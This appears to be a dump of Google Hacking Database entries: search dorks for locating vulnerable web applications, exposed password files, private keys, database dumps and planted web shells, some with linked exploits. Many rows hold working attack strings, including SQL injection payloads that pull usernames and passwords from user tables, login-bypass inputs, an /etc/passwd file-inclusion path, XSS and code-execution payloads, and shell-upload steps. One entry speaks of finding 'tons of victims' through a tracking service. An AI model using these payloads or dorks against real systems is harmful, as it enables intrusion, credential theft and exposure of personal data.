Comsenz Inc.		db.com/exploits/12455
"Splatt Forum"	"Splatt Forum"	PHP-Nuke Module splattforum 4.0 RC1 Local File Inclusion - CVE: 2007-1633: http://www.exploit-db.com/exploits/3518
"Galerie 3.2 2004 by progressive"	"Galerie 3.2 2004 by progressive"	Galerie 3.2 (pic) WBB Lite Addon Blind SQL Injection - CVE: 2008-4516: http://www.exploit-db.com/exploits/6675
"propuls par JBlog"	"propuls par JBlog"	JBlog 1.0 Create / Delete Admin Authentication Bypass - CVE: 2007-3973: http://www.exploit-db.com/exploits/4211
"Powered by BLOG:CMS"|"Powered by blogcms.com"|"2003-2004, Radek Huln"	"Powered by BLOG:CMS"|"Powered by blogcms.com"|"2003-2004, Radek Huln"	BLOG:CMS 4.0.0k Remote SQL Injection - CVE: 2006-3364: http://www.exploit-db.com/exploits/1960
"propuls par DotClear" "fil atom" "fil rss" +commentaires	"propuls par DotClear" "fil atom" "fil rss" +commentaires	DotClear 1.2.4 (prepend.php) Arbitrary Remote Inclusion - CVE: 2006-2866: http://www.exploit-db.com/exploits/1869
"Site powered by GuppY" | "Site cr avec GuppY" +inurl:lng=	"Site powered by GuppY" | "Site cr avec GuppY" +inurl:lng=	GuppY 4.5.16 Remote Commands Execution - CVE: 2007-0639: http://www.exploit-db.com/exploits/3221
php Kolay Forum (php KF) 2007 - 2010 phpKF Ekibi	php Kolay Forum (php KF) 2007 - 2010 phpKF Ekibi	Submitter: FreWaL CSRF Vulnerability: http://www.exploit-db.com/exploits/15685
powered by vBulletin 3.8.6	powered by vBulletin 3.8.6	vBulletin(R) 3.8.6 faq.php Information Disclosure Vulnerability: http://www.exploit-db.com/exploits/14455
intitle:"owl intranet * owl" 0.82	intitle:"owl intranet * owl" 0.82	OWL Intranet Engine 0.82 (xrms_file_root) Code Execution - CVE: 2006-1149: http://www.exploit-db.com/exploits/1561
"powered by jaws" | "powered by the jaws project" | inurl:?gadget=search	"powered by jaws" | "powered by the jaws project" | inurl:?gadget=search	Jaws 0.6.2 (Search gadget) Remote SQL Injection - CVE: 2006-3292: http://www.exploit-db.com/exploits/1946/

intitle:EvoCam inurl:webcam.html	intitle:EvoCam inurl:webcam.html	This search identifies EvoCam cameras accessible over the Internet. There are also public exploits that target these cameras: http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=evocam&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve= Author: Airloom
||Powered by [ClipBucket 2.0.91]	||Powered by [ClipBucket 2.0.91]	This search identifies clpbpucket installations. They frequently have an admin/admin default password on the administrative backend located at: http://server/admin_area/login.php . Author: Zhran Team
filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS	filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS	This search locates private SSHHostkeys. Author: loganWHD
inurl:-cfg intext:"enable password"	inurl:-cfg intext:"enable password"	Google search for Cisco config files (some variants below): inurl:router-confg inurl:-confg intext:enable password inurl:-config intext:"enable password" inurl:-cfg intext:"enable secret" inurl:-confg intext:enable secret inurl:-confg intext:"enable secret" Author: fdisk
"Cisco PIX Security Appliance Software Version" + "Serial Number" + "show ver" -inurl	"Cisco PIX Security Appliance Software Version" + "Serial Number" + "show ver" -inurl	Google search for Pix Authorization Keys Author: fdisk
intitle:index.of cisco asa -site:cisco.com	intitle:index.of cisco asa -site:cisco.com	Google search for Pix/Asa images Author: fdisk
intitle:index.of ios -site:cisco.com	intitle:index.of ios -site:cisco.com	Google search for Cisco IOS images Author: fdisk
"Remote Supervisor Adapter II" inurl:userlogin_logo.ssi	"Remote Supervisor Adapter II" inurl:userlogin_logo.ssi	IBM e-server's login pages. Author: DigiP

allintext:"fs-admin.php"	allintext:"fs-admin.php"	A foothold using allintext:"fs-admin.php" shows the world readable directories of a plug-in that enables Wordpress to be used as a forum. Many of the results of the search also show error logs which give an attacker the server side paths including the home directory name. This name is often also used for the login to ftp and shell access, which exposes the system to attack. There is also an undisclosed flaw in version 1.3 of the software, as the author has mentioned in version 1.4 as a security fix, but does not tell us what it is that was patched. Author: DigiP
inurl:/dana-na/auth/	inurl:/dana-na/auth/	Juniper SSL Author: bugbear
inurl:index.php?pagedb=rss - Vulnerability - inurl	http://www.google.com/search?q=inurl%3Aindex.php%3Fpagedb%3Drss	CVE: 2007-4007 EDB-ID: 4221 This google dork possibly exposes sites with the Article Directory (index.php page) Remote File Inclusion Vulnerability
inurl:src/login.php	inurl:src/login.php	Locates SquirrelMail Login Pages Author: 0daydevilz
inurl:"sbw2Behoerden.php"	inurl:"sbw2Behoerden.php"	German.Authorities.CMS SQL Injection Vulnerability. Bug: /data/sbw2Behoerden.php?sbwtyp= Author: Bloodman
"This web site was made with PostNuke"	"This web site was made with PostNuke"	PostNuke 0.763 (PNSV lang) Remote Code Execution - CVE: 2006-5733: http://www.exploit-db.com/exploits/2707
"Powered by Shop-Script FREE"	"Powered by Shop-Script FREE"	Shop-Script FREE 2.0 Remote Command Execution - CVE: 2007-4932: http://www.exploit-db.com/exploits/4419/
"powered by Quick.Cart"	"powered by Quick.Cart"	Quick.Cart 2.0 (actions_client/gallery.php) Local File Include: http://www.exploit-db.com/exploits/2769
"Powered by PHP-Update" - site:www.php-	"Powered by PHP-Update" - site:www.php-update.co.uk	PHP-Update 2.7 Multiple Remote Vulnerabilities - CVE: 2006-6879: http://www.exploit-

update.co.uk		db.com/exploits/3017
intext:"2000-2001 The phpHeaven Team" -sourceforge	intext:"2000-2001 The phpHeaven Team" -sourceforge	phpMyChat 0.15.0dev (SYS enter) Remote Code Execution: http://www.exploit-db.com/exploits/1647
"Powered by MercuryBoard"	"Powered by MercuryBoard"	MercuryBoard 1.1.5 (login.php) Remote Blind SQL Injection - CVE: 2008-6632: http://www.exploit-db.com/exploits/5653
"Powered by Coppermine Photo Gallery"	"Powered by Coppermine Photo Gallery"	Coppermine Photo Gallery 1.4.18 LFI / Remote Code Execution - CVE: 2008-3481: http://www.exploit-db.com/exploits/6178
"Content managed by the Etomite Content Management System"	"Content managed by the Etomite Content Management System"	Etomite CMS 0.6.1 (username) SQL Injection - CVE: 2006-3904: http://www.exploit-db.com/exploits/2071
"powered by PCPIN.com"	"powered by PCPIN.com"	PCPIN Chat 5.0.4 (login/language) Remote Code Execution: http://www.exploit-db.com/exploits/1697
"Powered by Leap"	"Powered by Leap"	Leap CMS 0.1.4 (searchterm) Blind SQL Injection - CVE: 2009-1613: http://www.exploit-db.com/exploits/8576
inurl:"option=com_tophotelmodule"	inurl:"option=com_tophotelmodule"	CVE: 2009-3368 EDB-ID: This search potentially exposes Joomla Hotel Booking System XSS/SQL Injection Vulnerabilities
"Runcms Copyright" "2002 - 2007" +"page created"	"Runcms Copyright" "2002 - 2007" +"page created"	RunCms 1.5.2 (debug_show.php) Remote SQL Injection - CVE: 2007-2539: http://www.exploit-db.com/exploits/3850
"Powered by eXV2 Vers"	"Powered by eXV2 Vers"	exV2 2.0.4.3 extract() Remote Command Execution - CVE: 2006-7080: http://www.exploit-db.com/exploits/2415
"Betrieben mit Serendipity 1.0.3"	"Betrieben mit Serendipity 1.0.3"	Serendipity 1.0.3 (comment.php) Local File Include - CVE: 2006-6242: http://www.exploit-db.com/exploits/2869

"Powered by XMB"	"Powered by XMB"	XMB 1.9.6 Final basename() Remote Command Execution - CVE: 2006-4191: http://www.exploit-db.com/exploits/2178
"Powered by BIGACE 2.5"	"Powered by BIGACE 2.5"	BIGACE CMS 2.5 (username) Remote SQL Injection - CVE: 2009-1778: http://www.exploit-db.com/exploits/8664
allintitle: powered by DeluxeBB	allintitle: powered by DeluxeBB	DeluxeBB 1.2 Multiple Remote Vulnerabilities - CVE: 2008-2195: http://www.exploit-db.com/exploits/5550
"Powered by Online Grades"	"Powered by Online Grades"	Online Grades & Attendance 3.2.6 Blind SQL Injection - CVE: 2009-2598: http://www.exploit-db.com/exploits/8854
inurl:imageview5	inurl:imageview5	Imageview 5 (Cookie/index.php) Remote Local Include - CVE: 2006-5554: http://www.exploit-db.com/exploits/2647
"This site is powered by e107"	"This site is powered by e107"	TikiWiki 1.9 Sirius (jhot.php) Remote Command Execution - CVE: 2006-4602: http://www.exploit-db.com/exploits/2711
"powered by tikiwiki"	"powered by tikiwiki"	TikiWiki 1.9 Sirius (jhot.php) Remote Command Execution - CVE: 2006-4602: http://www.exploit-db.com/exploits/2288
intitle:"X7 Chat Help Center"|"Powered By X7 Chat"	intitle:"X7 Chat Help Center"|"Powered By X7 Chat"	X7 Chat 2.0 (help_file) Remote Commands Execution - CVE: 2006-2156: http://www.exploit-db.com/exploits/1738
"powered by gcards"	"powered by gcards"	gCards 1.45 Multiple Vulnerabilities - CVE: 2006-1346: http://www.exploit-db.com/exploits/1595
pixelpost "RSS 2.0" "ATOM feed" "Valid xHTML / Valid CSS"	pixelpost "RSS 2.0" "ATOM feed" "Valid xHTML / Valid CSS"	Pixelpost 1-5rc1-2 Remote Privilege Escalation Exploit - CVE: 2006-2889: http://www.exploit-db.com/exploits/1868
"This web site was made with MD-Pro"	"This web site was made with MD-Pro"	CVE: 2006-7112 EDB-ID: 2712 This search can potentially identify vulnerable installations of MD-Pro, a web portal system written in PHP.

"Powered by XMB"	http://www.google.com/search?q="Powered+by+XMB"	CVE: 2006-3994 EDB-ID: 2105 This search can potentially identify vulnerable installations of XMB
"powered by ThWboard"	"powered by ThWboard"	CVE: 2007-0340 EDB-ID: 3124 This search can potentially identify vulnerable installations of ThWboard.
"Page created in" "seconds by glFusion" +RSS	"Page created in" "seconds by glFusion" +RSS	CVE: 2009-1281 EDB-ID: 8347 This search can potentially identify vulnerable installations of glFusion. http://www.exploit-db.com/exploits/8347
inurl:wp-login.php Register Username Password -echo	inurl:wp-login.php Register Username Password -echo	CVE: 2006-2667 EDB-ID: 6 This search can potentially identify vulnerable installations of WordPress.
"this site is using the webspell script (version: 4.01.02)"	"this site is using the webspell script (version: 4.01.02)"	CVE: 2007-0502 EDB-ID: 3172 This search can potentially identify vulnerable installations of webSPELL 4.01.02
inurl:"jscripts/tiny_mce/plugins/tinybrowser/"	inurl:"jscripts/tiny_mce/plugins/tinybrowser/"	inurl:"jscripts/tiny_mce/plugins/tinybrowser/" or refined inurl:"jscripts/tiny_mce/plugins/tinybrowser/" "index of" Various "tinybrowser" vulnerabilities: http://www.exploit-db.com/exploits/9296/ DigiP
"Site produced by GeneralProducts.co.uk"	"Site produced by GeneralProducts.co.uk"	GeneralProducts (index.php?page=) Local File Inclusion Vulnerability http://server/index.php?page=../../../../../../etc/passwd Net.Edit0r - black.hat.tm@gmail.com
inurl:"index.php?option=com_jeajaxeventcalendar"	inurl:"index.php?option=com_jeajaxeventcalendar"	Joomla JE Ajax Event Calendar Component (com_jeajaxeventcalendar) SQL Injection Vulnerability Author: altbta
filetype: log inurl:"access.log" +intext:"HTTP/1.1"	filetype: log inurl:"access.log" +intext:"HTTP/1.1"	Match some apache access.log files. Author: susmab
inurl:"index.php?option=com_storedirectory"	inurl:"index.php?option=com_storedirectory"	SQL Injection Vulnerability: http://127.0.0.1/index.php?option=com_storedirectory&task=view&id=-16 UNION SELECT 1,2,concat_ws(0x3a,username,email,pa

		ssword),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from jos_users Author: Ashiyane Digital Security Team
inurl:"index.php?option=com_annuaire"	inurl:"index.php?option=com_annuaire"	SQL Injection Vulnerability: [+] vuln: http://127.0.0.1/index.php?option=com_annuaire&view=annuaire&type=cat&id=[SQLi] [+] Exploit: /**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13/**/from/**/jos_users-- Submitter: Ashiyane Digital Security Team
inurl:panorama-viewer.php?id=	inurl:panorama-viewer.php?id=	[-] http://server/panorama-viewer.php?id=-1+UNION+SELECT+1,2,3,group_concat%28user_name,0x3a,user_pwd%29,5,6+from+mc_users-- [-] http://server/adm/users.php [-] http://server/adm/panorama_edit.php?id=1 [-] http://server/listimages/shell.php ### Great 2 : : h4m1d /sheisebaboo / vc.emliter / Neo / H-SK33PY / Net.Editor / HUrr!c4nE / Cair3x /novin security team and all iranian hackers ###
inurl:showcat.asp?id=	inurl:showcat.asp?id=	========== Centralia (admin/dbedit.asp?) Bypass and Shell Upload Vulnerability ========== ### # Exploit : Centralia (admin/dbedit.asp?) Bypass and File Upload Vulnerability # Date : 10 December 2010 # Author : ali.erroor # Version : n/a # Googel DorK : inurl:showcat.asp?id= # Home : www.network-security.ir # Email :

		ali.erroor@att.net ## [+] Exploit [1] Centralia (admin/dbedit.asp?) Bypass and File Upload Vulnerability.. [-] http://localhost/path/admin/dbedit.asp?table=products [-] username : 'or''=' [-] password : 'or''=' [2] Create New Upload Your Shell.Asp .. [-] http://localhost/path/admin/dbedit.asp?a=upload_init [3] To See Shell Edit Your uploads [-] http://localhost/path/uploads/shell;asp.jpg [+] Demo [-] http://server/admin/dbedit.asp?table=products [-] http://server/admin/dbedit.asp?a=upload_init ## [+] Great 2 : : h4m1d /sheisebaboo / vc.emliter / H-SK33PY / Net.Editor / HUrr!c4nE / Cair3x /novin security team and all iranian hackers ##
"powered by simpleview CMS"	"powered by simpleview CMS"	Author: Sun Army XSS: /search/?searchString=">alert(document.cookie)&submitSearch.x=17&submitSearch.y=13
intext: Copyright+Mantis BT Group	intext: Copyright+MantisBT Group	Mantis Bug Tracker http://mantisbt.org http://www.exploit-db.com/exploits/15735 http://www.exploit-db.com/exploits/15736 Thanks,* Gjoko 'LiquidWorm' Krstic* *Information Security Engineer* ***Zero Science Lab* Macedonian Information Security Research & Development Laboratory http://www.zeroscience.mk +389 (0) 75 290 926 +389 (0) 77 670 886
"Powered by: IRIran.net"	"Powered by: IRIran.net"	IRIran eShop Builder SQL Injection: http://server/patch/pages/index.php?id=

		0[SQL] Submitter: Ahoora
allintext:"fs-admin.php"	allintext:"fs-admin.php"	A foothold using allintext:"fs-admin.php" shows the world readable directories of a plug-in that enables Wordpress to be used as a forum. Many of the results of the search also show error logs which give an attacker the server side paths including the home directory name. This name is often also used for the login to ftp and shell access, which exposes the system to attack. There is also an undisclosed flaw in version 1.3 of the software, as the author has mentioned in version 1.4 as a security fix, but does not tell us what it is that was patched. Author: DigiP
inurl:config/databases.yml -trac -trunk -"Google Code" -source -repository	inurl:config/databases.yml -trac -trunk -"Google Code" -source -repository	Google search for web site build with symfony framework. This file contains the login / password for the databases Author: Simon Leblanc
inurl:web/frontend_dev.php -trunk	inurl:web/frontend_dev.php -trunk	Google search for web site build with symfony framework and in development environment. In most case, you have a bar development on top of the web page. If you go in config -> Settings, you can find login and password. if you replace web/frontend_dev.php by config/databases.yml in url, you can find login / password for the databases Author: Simon Leblanc
inurl:"/modules.php?name=" "Maximus CMS"	inurl:"/modules.php?name=" "Maximus CMS"	Maximus CMS (FCKeditor) File Upload Vulnerability http://www.exploit-db.com/exploits/15960 Author: eidelweiss
intext:"Powered by DZOIC Handshakes Professional"	intext:"Powered by DZOIC Handshakes Professional"	Author: IR-Security -Team SQL injection: http://server/administrator/index.php?section=manage_members&action=edit_photo&pho_id=-100001 union all select 1,version()--

inurl:"index.php?m=content+c=rss+catid=10"	inurl:"index.php?m=content+c=rss+catid=10"	Author: eidelweiss http://host/index.php?m=content&c=rss&catid=5 show MySQL Error (table)
site:ebay.com inurl:callback	site:ebay.com inurl:callback	Returns: http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=? then: http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=?xxxx%3Cimg%20src=1%20onerror=alert(1)%3E Can also use: http://seclists.org/fulldisclosure/2011/Feb/199 XSS through UTF7-BOM string injection to bypass IE8 XSS Filters
inurl:app/etc/local.xml	inurl:app/etc/local.xml	Magento local.xml sensitive information disclosure Author: Rambaud Pierre
intitle:cyber anarchy shell	intitle:cyber anarchy shell	Submitter: eXeSoul cyber anarchy shell
MySQL: ON MSSQL: OFF Oracle: OFF MSSQL: OFF PostgreSQL: OFF cURL: ON WGet: ON Fetch: OFF Perl: ON	MySQL: ON MSSQL: OFF Oracle: OFF MSSQL: OFF PostgreSQL: OFF cURL: ON WGet: ON Fetch: OFF Perl: ON	Author :- eXeSoul You will get lots of web shells even some private shells.
"POWERED BY ZIPBOX MEDIA" inurl:"album.php"	"POWERED BY ZIPBOX MEDIA" inurl:"album.php"	Author : AtT4CKxT3rR0r1ST SQL Injection: www.site.com/album.php?id=null[Sql]
"Powered by SOFTMAN"	"Powered by SOFTMAN"	Author: eXeSoul [i] "Powered by SOFTMAN" [ii] "Powered by Softman Multitech Pvt Ltd" [iii] "All Rights reserved by SOFTMAN" Go To Admin Panel :- Admin: ' or 'x'='x Password: ' or 'x'='x
intext:"Web Design by Webz" filetype:asp	intext:"Web Design by Webz" filetype:asp	Submitter: p0pc0rn http://site.com/xxx.asp?id=[SQL] http://site.com/xxx.asp?catID=[SQL] http://site.com/xxx.asp?brandID=[SQL]
ADAN (view.php) Sql Injection	ADAN (view.php) Sql Injection Vulnerability	SQL Injection: http://www.exploit-db.com/exploits/16276/

Vulnerability		
intitle:"cascade server" inurl:login.act	intitle:"cascade server" inurl:login.act	Search for login screen of default instance: Cascade Server CMS by Hannon Author: Erik Horton
intext:"Site by Triware Technologies Inc"	intext:"Site by Triware Technologies Inc"	Submitter: p0pc0rn SQL Injection: http://site.com/default.asp?com=[Page]&id=[SQL]&m=[id] http://site.com/default.asp?com=[Page]&id=[id]&m=[SQL]
intext:"Powered by OnePlug CMS"	intext:"Powered by OnePlug CMS"	Sumitter: p0pc0rn SQL Injection: http://site.com/category_list.asp?Category_ID=1 union select 0 from test.a
intitle:"[EasyPHP] - Administration"	intitle:"[EasyPHP] - Administration"	Unprotected EasyPHP Admin page detection.. Author: Aneesh Dogra (lionaneesh)
intext:"Powered by Inventory Mojo Software."	intext:"Powered by Inventory Mojo Software."	Submitter: p0pc0rn SQL Injection (categoria.asp, producto.asp, srubro.asp, marca.asp, buscar.asp, Login.asp, NewUser.asp, do_addToNewsletter.asp) --- http://site.com/categoria.asp?CT=6' and '1'='1 TRUE http://site.com/categoria.asp?CT=6' and '1'='0 FALSE
"site by Designscope"	"site by Designscope"	Submitter: Net.Edit0r SQL Injection: http://127.0.0.1/general.php?pageID=[SQL] http://127.0.0.1/content.php?pageID=[SQL]
index.php?option=com_ignitegallery	index.php?option=com_ignitegallery	Submitter: TiGeR_YeMeN HaCkEr SQL Injection: index.php?option=com_ignitegallery&task=view&gallery=-1+union+select+1,2,concat(username,char(58),password)KHG,4,5,6,7,8,9,10+from+jos_users--
intext:"Powered by FXRecruiter"	intext:"Powered by FXRecruiter"	Submitter: Ashiyane Digital Security Team Arbitrary File Upload: You must Register at site, Then in "Upload CV Field" Select and Upload Your File, then Using "Live Http Header" Change ur File Format To Etc Uploaded path: http://127.0.0.1/fxmodules/resumes/[Y

		our File]
inurl:"fbconnect_action=myhome"	inurl:"fbconnect_action=myhome"	Submitter: z0mbyak SQL Injection: www.site.name/path/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--
filetype:ini "pdo_mysql" (pass|passwd|password|pwd)	filetype:ini "pdo_mysql" (pass|passwd|password|pwd)	full details dbname dbuser dbpass all plain text Author:Bastich
filetype:ini "SavedPasswords" (pass|passwd|password|pwd)	filetype:ini "SavedPasswords" (pass|passwd|password|pwd)	Unreal Tournament config, plain text passwords Author: Bastich
filetype:ini "precurio" (pass|passwd|password|pwd)	filetype:ini "precurio" (pass|passwd|password|pwd)	plain text passwods
filetype:ini "FtpInBackground" (pass|passwd|password|pwd)	filetype:ini "FtpInBackground" (pass|passwd|password|pwd)	Total commander wxc_ftp.ini run has through John etc. or even better use http://wcxftp.org.ru/
filetype:ini "[FFFTP]" (pass|passwd|password|pwd)	filetype:ini "[FFFTP]" (pass|passwd|password|pwd)	Asian FTP software -, run the password hash through John etc. Author: Bastich
"error_log" inurl:/wp-content	"error_log" inurl:/wp-content	Find various www readable Wordpress directories containing error logs with server side debugging info, such as home path directory names, which are often the same user names for logging into the server over FTP and SSH. This often exposes the path of the plug-ins installed in wordpress as well, giving someone more information and avenues of attack since many Wordpress plug-ins can lead to compromises of the sites security. - DigiP
allinurl:http://www.google.co.in/lati	allinurl:http://www.google.co.in/latitude/apps/badge/api?user=	Site: google.com/latitude - This is a free application where you can track

tude/apps/badge/api?user=		your PC, laptop and mobile, just login there and you will be tracked freely(used to track yourself live and you can put this in blogs to show where you are) I made a dork simply that shows some couple of people, after some years when this application will grow stronger and you can get tons of victims. *allinurl:http://www.google.co.in/latitude/apps/badge/api?user=* By *The ALLSTAR*
intitle:Locus7shell intext:"Software:"	intitle:Locus7shell intext:"Software:"	intitle:Locus7shell intext:"Software:" Submitted by lionaneesh -- Thanks Aneesh Dogra (lionaneesh)
filetype:xls + password + inurl:.com	filetype:xls + password + inurl:.com	The filetype:xls never changes What is inbtween then + sings can be what ever you are looking for taxid ssn password Student ID etc The inurl: can be changed to what you want .gov .edu .com etc. Take care, RedShift
"Login Name" Repository Webtop intitle:login	"Login Name" Repository Webtop intitle:login	Search for login screen of default instance: Documentum Webtop by EMC
intitle:"Enabling Self-Service Procurement"	intitle:"Enabling Self-Service Procurement"	Search for login screen of default instance: Puridiom (A Procurement Web Application)
intitle:"cyber recruiter" "User ID"	intitle:"cyber recruiter" "User ID"	Search for login screen of default instance: Cyber Recruiter (applicant tracking and recruiting software)
inurl:sarg inurl:siteuser.html	inurl:sarg inurl:siteuser.html	Submitter: pipefish Squid User Access Reports that show users' browsing history through the proxy. Shows internal IP space sometimes, usernames as well, and can be helpful when planning a pen test (spear phishing\social engineering campaign etc.) It also helps to ID an organization's proxy server.
vBulletin Install Page Detection	vBulletin Install Page Detection	inurl:/install/install.php intitle:vBulletin * Install System This dork displays the untreated install.php pages! Auth0r: lionaneesh Greetz to

		:Team Indishell , INDIA , Aasim Shaikh ,
ionCube Loader Wizard information disclosure	ionCube Loader Wizard information disclosure	inurl:loader-wizard ext:php This dork displays sensitive information Auth0r: MaXe
inurl:"clsUploadtest.asp"	inurl:"clsUploadtest.asp"	Submitter: KDGCrew http://www.site.com/clsUpload/clsUploadtest.asp http://www.site.com/clsUpload/nameshell.php
filetype:sql "PostgreSQL database dump" (pass|password|passwd|pwd)	filetype:sql "PostgreSQL database dump" (pass|password|passwd|pwd)	PostgreSQL database dump with passwords Bastich
filetype:sql "MySQL dump" (pass|password|passwd|pwd)	filetype:sql "MySQL dump" (pass|password|passwd|pwd)	MySQL database dump with passwords Bastich
filetype:sql "phpmyAdmin SQL Dump" (pass|password|passwd|pwd)	filetype:sql "phpmyAdmin SQL Dump" (pass|password|passwd|pwd)	phpMyAdmin SQL dump with passwords Bastich
site:dl.dropbox.com filetype:pdf cv OR curriculum vitae OR resume	site:dl.dropbox.com filetype:pdf cv OR curriculum vitae OR resume	Searches Dropbox for publicly avaliable PDF's containing information used in a CV/Resume/Curriculum Vitae which can therefore be used in a Social Engineering based vector attack. Author: Trevor Starick
site:docs.google.com intitle:(cv Or resume OR curriculum vitae)	site:docs.google.com intitle:(cv Or resume OR curriculum vitae)	Searches GoogleDocs for publicly avaliable PDF's containing information used in a CV/Resume/Curriculum Vitae which can therefore be used in a Social Engineering based vector attack. -- Trevor Starick
site:mediafire.com cv Or resume OR curriculum vitae filetype:pdf OR doc	site:mediafire.com cv Or resume OR curriculum vitae filetype:pdf OR doc	Searches Mediafire for publicly avaliable PDF's containing information used in a CV/Resume/Curriculum Vitae which can therefore be used in a Social Engineering based vector attack -- Trevor Starick

site:stashbox.org cv Or resume OR curriculum vitae filetype:pdf OR doc	site:stashbox.org cv Or resume OR curriculum vitae filetype:pdf OR doc	Searches StashBox for publicly avaliable PDF's or .doc files containing information used in a CV/Resume/Curriculum Vitae which can therefore be used in a Social Engineering based vector attack -- Trevor Starick
inurl:/push/ .pem apns -"push notifications" "bag attributes"	inurl:/push/ .pem apns -"push notifications" "bag attributes"	iphone apple push notification system private keys, frequently unencrypted, frequently with DeviceIDs in same dir
inurl:server-info intitle:"Server Information" Apache Server Information	inurl:server-info intitle:"Server Information" Apache Server Information	Juicy information about the apache server installation in the website. -- *Regards, Fady Mohammed Osman.*
inurl:":9000" PacketVideo corporation	inurl:":9000" PacketVideo corporation	inurl:":9000" PacketVideo corporation About: This provides Twonky Server Media interface. You can find images, music, videos etc. Submitter: Ishaan P
intitle:m1n1 1.01	intitle:m1n1 1.01	find the b374k shell.... Submitted by : biLLbud
filetype:pem "Microsoft"	filetype:pem "Microsoft"	Microsoft private keys, frequently used for servers with UserID on the same page. -- Shamanoid
intitle:"vtiger CRM 5 - Commercial Open Source CRM"	intitle:"vtiger CRM 5 - Commercial Open Source CRM"	vtiger CRM version 5.x presence -- LiquidWorm
allinurl:forcedownload.php?file=	allinurl:forcedownload.php?file=	Didn't see this anywhere in the GHDB, but its been known for a while and widely abused by others. Google Dork "allinurl:forcedownload.php?file=" Sites that use the forcedownload.php script are vulnerable to url manipulation, and will spit out any file on the local site, including the PHP files themselves with all server side code, not the rendered page, but the source itself. This is most commonly used on wordpress sites to grab the wp-config.php file to gain access to the database, but is not limited to wordpress sites. I only list it as an

		example, so people understand the weight of flaw. - DigiP
filetype:ini "Bootstrap.php" (pass|passwd|password|pwd)	filetype:ini "Bootstrap.php" (pass|passwd|password|pwd)	Zend application ini, with usernames, passwords and db info love Bastich
"Powered by SLAED CMS"	"Powered by SLAED CMS"	Exploit Title: Slaed CMS Code exec On different versions of this software next vulnerabilities are availible: /index.php?name=Search&mod=&word={${phpinfo()}}&query=ok&to=view /index.php?name=Search&mod=&word=ok&query={${phpinfo()}}&to=view OR: /search.html?mod=&word={${phpinfo()}}&query=ok&to=view /search.html?mod=&word=ok&query={${phpinfo()}}&to=view
inurl:ftp "password" filetype:xls	inurl:ftp "password" filetype:xls	this string may be used to find many low hanging fruit on FTP sites recently indexed by google. Author: Uhaba
inurl:view.php?board1_sn=	inurl:view.php?board1_sn=	locates a webapp vulnerable to SQL injection
inurl:"amfphp/browser/servicebrowser.swf"	inurl:"amfphp/browser/servicebrowser.swf"	AMFPHP service browser, debug interface. Author: syddd
intitle:#k4raeL - sh3LL	intitle:#k4raeL - sh3LL	intitle:#k4raeL - sh3LL Finds K4rael Shell , though many of them are dead but we can get some and even cache data can get you information , making website vulnerable Author: cyb3r.pr3dat0r
filetype:php~ (pass|passwd|password|dbpass|db_pass|pwd)	filetype:php~ (pass|passwd|password|dbpass|db_pass|pwd)	Backup or temp versions of php files containing you guessed it passwords or other ripe for the picking info... Author: Bastich
inurl:"trace.axd" ext:axd "Application Trace"	inurl:"trace.axd" ext:axd "Application Trace"	example google dork to find trace.axd, a file used for debugging asp that reveals full http request details like cookie and other data that in many cases can be used to hijack user-sessions, display plain-text

		usernames/passwords and also serverinfo like pathnames second with plain-text usernames and passwords along with sessiondata. this file should be developer-only and not publicly available but seems to be used quite often, usually hidden from google with robots.txt. Author: easypwn
inurl:"/includes/config.php"	inurl:"/includes/config.php"	The Dork Allows you to get data base information from config files. Author: XeNon
intitle:index.of? configuration.php.zip	intitle:index.of? configuration.php.zip	this dork finds mostly backed up configuration.php files. Its possible to change the *.zip to *.txt or other file types. Author: Lord.TMR
inurl:"/Application Data/Filezilla/*" OR inurl:"/AppData/Filezilla/*" filetype:xml	inurl:"/Application Data/Filezilla/*" OR inurl:"/AppData/Filezilla/*" filetype:xml	this dork locates files containing ftp passwords
filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS	filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS	this dork locates registry dumps
inurl:php intitle:"Cpanel , FTP CraCkeR"	inurl:php intitle:"Cpanel , FTP CraCkeR"	locates cpanel and ftp cracker. Author: alsa7r
filetype:old (define)(DB_USER|DB_PASS|DB_NAME)	filetype:old (define)(DB_USER|DB_PASS|DB_NAME)	this dork locates backed up config files filetype:php~ (define)(DB_USER|DB_PASS|DB_NAME) filetype:inc~ (define)(DB_USER|DB_PASS|DB_NAME) filetype:inc (define)(DB_USER|DB_PASS|DB_NAME) filetype:bak (define)(DB_USER|DB_PASS|DB_NAME) Author: Gerald J. Pottier III
filetype:old (mysql_connect) ()	filetype:old (mysql_connect) ()	There are three of mysql_connects but that all search in .inc or warnings, non search for .old . Dot old is something that all devs to to hide old files they do not want to delete immediatly but almost always forget to delete. The

		server lang can be changed. :D -- Gerald J. Pottier III Senior Managed Systems Engineer :STG inc. Hereford, AZ 85615 [Home] 520.843.0135 [Work] 520.538.9684
filetype:php inanchor:c99 inurl:c99 intitle:c99shell -seeds -marijuana	filetype:php inanchor:c99 inurl:c99 intitle:c99shell -seeds -marijuana	This search attempts to find the c99 backdoor that may be knowingly or unknowingly installed on servers. I have refined the search in hopes that more general talk about the backdoor, and also talk about the marijuana strain does not pollute the results quite as much. Author: Teague Newman
filetype:php inurl:tiki-index.php +sirius +1.9.*	filetype:php inurl:tiki-index.php +sirius +1.9.*	Finds servers vulnerable to the CVE-2007-5423 exploit. Author: Matt Jones
allintitle:"UniMep Station Controller"	allintitle:"UniMep Station Controller"	UniMep is a device for managing fuel station. You can see process of fueling cars and you can make some changes in the setting. The default username/password is admin/setup. Author: WBR rigan
inurl:/cgi-bin/makecgi-pro	inurl:/cgi-bin/makecgi-pro	Brings up listings for Iomgea NAS devices. Password protected folders are susceptible to authentication bypass by adding the following to the url (after /cgi-bin/make-cgi-pro): ?page_value=page_files&tab_value=%20&task_value=task_gotoPath¶m1_value=(foldername) Common folders are music, movies, photos & public. Author: Matt Jones
"My RoboForm Data" "index of"	"My RoboForm Data" "index of"	This dork looks for Roboform password files. Author: Robert McCurdy
